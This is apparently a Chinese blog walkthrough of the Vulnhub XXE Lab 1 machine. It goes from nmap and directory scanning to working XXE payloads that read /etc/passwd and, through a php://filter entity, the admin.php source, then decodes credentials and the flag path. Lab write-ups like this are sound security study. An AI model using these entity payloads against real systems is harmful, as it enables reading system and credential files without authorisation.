Vulnhub-xxe靶机通关,获取最终flag

靶机下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/

1、 信息收集,nmap探测靶机地址

在这里插入图片描述
得到目标地址192.168.248.168,只开放80端口
在这里插入图片描述

2、 使用御剑对目标网站后台扫描

在这里插入图片描述

3、 发现存在信息页面

在这里插入图片描述

4、 访问/xxe路径

在这里插入图片描述

5、 传参抓包,得知通过xml传参

在这里插入图片描述

6、 构造恶意xml,替换参数

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

在这里插入图片描述

7、 成功读取到/etc/passwd中内容

在这里插入图片描述
证明存在XXE漏洞

8、 通过php伪协议base64加密读admin.php源码

<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>1</password></root>

在这里插入图片描述

9、 将返回值base64解码

得到用户名和密码md5值
在这里插入图片描述
解密密码
在这里插入图片描述
得到admin.php页面用户名/密码:administhebest/admin@123

10、得到flag提示

在这里插入图片描述

11、访问得到flag提示

在这里插入图片描述
Baes32解码然后base64解码,得到路径
在这里插入图片描述

12、使用php伪协议再次读文件

在这里插入图片描述
解码:
在这里插入图片描述

13、创建php文件,将解码后的内容插入<?php ?>中

使用xampp环境访问文件,得到报错结果没有flag
使用phpstudy访问文件,得到最终flag。

在这里插入图片描述


版权声明:本文为qq_45491298原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。